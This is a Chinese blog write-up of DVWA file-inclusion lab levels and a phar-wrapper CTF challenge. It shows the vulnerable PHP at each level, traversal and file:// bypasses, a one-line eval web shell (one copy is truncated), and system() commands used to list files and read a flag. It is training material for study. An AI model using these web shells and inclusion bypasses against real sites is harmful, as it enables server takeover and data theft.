DVWA文件包含漏洞

low

1、本地文件包含:
看看后端代码


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

发现没有对参数page进行任何的检查和过滤,尝试包含一下phpinfo.php文件
在这里插入图片描述

提示错误,但是爆出了文件的绝对路径,此时有两种方法成功包含文件
方法一:利用得到的绝对路径
在这里插入图片描述
方法二:利用相对路径
在这里插入图片描述
2、远程文件包含
使用远程文件包含需要allow_url_fopen和allow_url_include都处于打开(On)的状态,同时配合http://协议使用
此处就将本地看作“远程”,写一个webshell.txt文件,内容是

<?php phpinfo();?>

然后使用http协议直接包含即可
在这里插入图片描述

medium

查看后端代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>

此处str_replace的作用时过滤掉其中的内容(具体参考PHP官方手册str_replace函数的用法),过滤的"http://", "https://"这意味着我们不能使用远程文件包含来进行操作。但是过滤的"../", "..\\",我们可以通过复写的方式来绕过
在这里插入图片描述

high

查看后端代码


<?php
if(!function_exists('fnmatch')) {
    function fnmatch($pattern, $string) {
        return preg_match("#^".strtr(preg_quote($pattern, '#'),array('\*' => '.*', '\?'=> '.'))."$#i", $string);
    } // end
} // end if
// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

其中fnmatch() 函数根据指定的模式来匹配文件名或字符串,此处是使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件

此时就可以使用file://伪协议来欺骗服务器了,结合本地上传,首先在C盘下写一个webshell.php文档,内容是

<?php phpinfo();?>

接着使用file:// + 绝对路径的方法来包含我们所写的文档
在这里插入图片描述
吐槽:今天搞这玩意儿和孙老师奋战了一下午,我本来搭建的本地靶场和hosts文档照理来说都是正确的,可就是包含不了这个webshell.php,一直提示找不到。后来大费周章,改来改去,最后莫名其妙就行了,但是配置还是原来的配置,反正就很神奇。后来的探索中我还发现,如果浏览器双开访问dvwa靶场,它的某些模块的难度是不会变的,一直会保持impossible,恰巧这个靶场的文件包含漏洞的impossible难度是无解的。这就导致在修改完成之后的实验中,仍处于找不到文件的状态。(我真的坠了)也怪我们没有仔细检查难度到底有没有正确调整,反正浪费了一下午就是说…

impossible

查看后端代码


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

可以看到此题要求page的参数只能为“include.php”、“file1.php”、“file2.php”、“file3.php”。这就意味着我们只能访问页面中的这三个文件,所以此难度无解

文件上传+包含漏洞getshell

其实最好的展示方式是用图片马,但是我自己根据教程生成的图片马用不了不知道为啥。那就随便用个一句话来实现吧,写一个webshell.txt,内容是

<?php eval($_POST[cmd]);?>

实验的环境是dvwa靶场的low级别,上传之后回显地址
在这里插入图片描述
之后进入文件包含漏洞,包含刚刚上传的文件
在这里插入图片描述
在这里插入图片描述
getshell成功,也可以通过菜刀蚁剑等来获取网站权限

云演-phar实验

这边看不到后端代码,直接上传php文件试试
在这里插入图片描述
返回 You are not a txt file… 说明要求我们上传txt文件,上传试试
发现 Success upload. FileName: ./files/QTpdrwXEeNybayiJ.txt 上传成功并回显地址,底下LFI Here说明有本地文件包含漏洞的,点着看看http://580c53bf.lxctf.net/lfi.php,说明此处的 lfi.php文件可能就是有漏洞的文件
访问刚刚回显的文件试试
在这里插入图片描述
还是没用。(黔驴技穷了,我选择实验手册)
查看 lfi.txt

<?php
$file = $_REQUEST['file'];
if ($file != '') {
    $inc = sprintf("%s.php", $file); // only php file can be included
    include($inc);
}
?>

拨开云雾见光明,发现以 file 来接收参数,而且只允许包含php文件,还会在文件的末尾添加“.php”。这里因为只能上传 txt 文件,那么就需要包含来解析了。但是会在文件的末尾添加“.php”,所以直接包含是找不到我们上传的 txt 文件的,而且%00也不能用。

此时就可以用phar伪协议,它的使用前提是不添加前缀,可以用在添加后缀或者只能上传docx、zip、rar等压缩类文件,不能直接包含利用的情况。
利用方式是:首先将一个文件压缩,然后修改后缀名(jpg,txt,png都可,本题是txt)上传,最后包含上传的文件即可。例如本题:

先写一个webshell.php文档,内容是

p eval($_POST[cmd]);?>

之后压缩,并修改后缀名为.txt
在这里插入图片描述
直接上传改文件,然后包含php文件即可(此处应该注意,由于后端已经添加后缀,故包含webshell.php时直接访问webshell即可,自动添加后缀访问webshell.php)
在这里插入图片描述
发现包含成功,使用cmd=system("dir");(cmd是我设置的密码)查看目录文件
在这里插入图片描述
发现有flag.php文件,使用cmd=system("type flag.php");访问此文件获取flag
在这里插入图片描述
使用菜刀或者蚁剑同样可以获取flag

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值